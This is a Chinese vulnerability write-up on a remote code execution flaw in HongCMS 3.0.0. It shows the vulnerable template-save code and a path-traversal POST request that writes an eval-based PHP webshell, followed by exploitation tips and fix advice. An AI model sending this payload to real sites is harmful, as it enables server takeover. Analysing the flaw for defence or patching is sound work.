某CMS最新版-远程代码执行
字数 1156 2025-08-29 08:31:42
HongCMS 3.0.0 远程代码执行漏洞分析与利用
漏洞概述
HongCMS 3.0.0 版本在后台模板管理功能中存在远程代码执行漏洞,攻击者可以通过构造特殊的文件路径参数,实现对服务器上任意PHP文件的写入操作,从而导致远程代码执行。
漏洞环境要求
- 必须完成HongCMS的安装(访问/install/index.php进行图形化安装)
- 安装完成后需要删除install目录
- 需要拥有后台管理员账户权限
漏洞定位
漏洞存在于后台的模板管理功能中:
系统->模板管理->模板文件列表 中的修改模板功能
漏洞分析
核心漏洞代码
/admin/controllers/tmplate.php 中的 save() 方法:
public function save(){ //保存模板文件
$file = ForceStringFrom('file');
$filepath = $this->temp_path . $this->current_dir . $file;
if (is_writable($filepath)) {
$filecontent = trim($_POST['filecontent']);
if (get_magic_quotes_gpc()) {
$filecontent = stripslashes($filecontent);
}
$fd = fopen($filepath, 'wb');
fputs($fd,$filecontent);
Success('template'. Iif($this->current_dir, '?dir=' . $this->current_dir));
}else{
$errors = '模板文件('.$file.')不可写! 请将其属性设置为: 777';
Error($errors, '编辑模板错误');
}
}
关键参数分析
-
$file- 通过ForceStringFrom('file')获取,直接来自用户输入 -
$filepath- 由三部分组成:$this->temp_path- 固定为ROOT.'public/templates/'$this->current_dir- 通过ForceStringFrom('dir')获取,默认为Default/$file- 用户控制的文件名参数
-
$filecontent- 直接来自$_POST['filecontent'],未做严格过滤
漏洞利用原理
- 通过构造包含路径遍历序列(
../../)的file参数,可以控制$filepath指向任意位置 - 由于
$filecontent完全可控,可以写入任意PHP代码 - 唯一限制是目标文件必须存在且可写(
is_writable()检查)
漏洞复现步骤
- 登录后台管理系统
- 访问模板管理功能:
系统->模板管理->模板文件列表 - 修改任意模板文件并抓包
- 构造恶意请求:
POST /admin/index.php/template/save HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
file=../../../../shell.php&dir=Default/&filecontent=<?php @eval($_POST['cmd']);?>
- 如果目标文件存在且可写,将会在网站根目录创建shell.php文件
- 访问
http://target.com/shell.php即可执行任意PHP代码
实际利用技巧
- 寻找已存在的PHP文件进行覆盖(如/models/user.php)
- 构造路径时需要计算正确的
../数量以定位到网站根目录 - 如果默认模板目录不可写,可以尝试其他可写目录
修复建议
- 对
$file参数进行严格过滤,禁止路径遍历字符 - 限制文件保存路径在模板目录内
- 对写入内容进行PHP代码检测
- 更新到最新版本(如果官方已修复)
总结
该漏洞属于典型的文件写入导致的远程代码执行漏洞,利用条件是需要后台管理员权限。漏洞成因在于未对用户输入的文件路径进行严格过滤,加上对写入内容没有限制,导致攻击者可以覆盖服务器上的任意PHP文件。对于使用HongCMS 3.0.0版本的用户,建议立即升级或采取临时防护措施。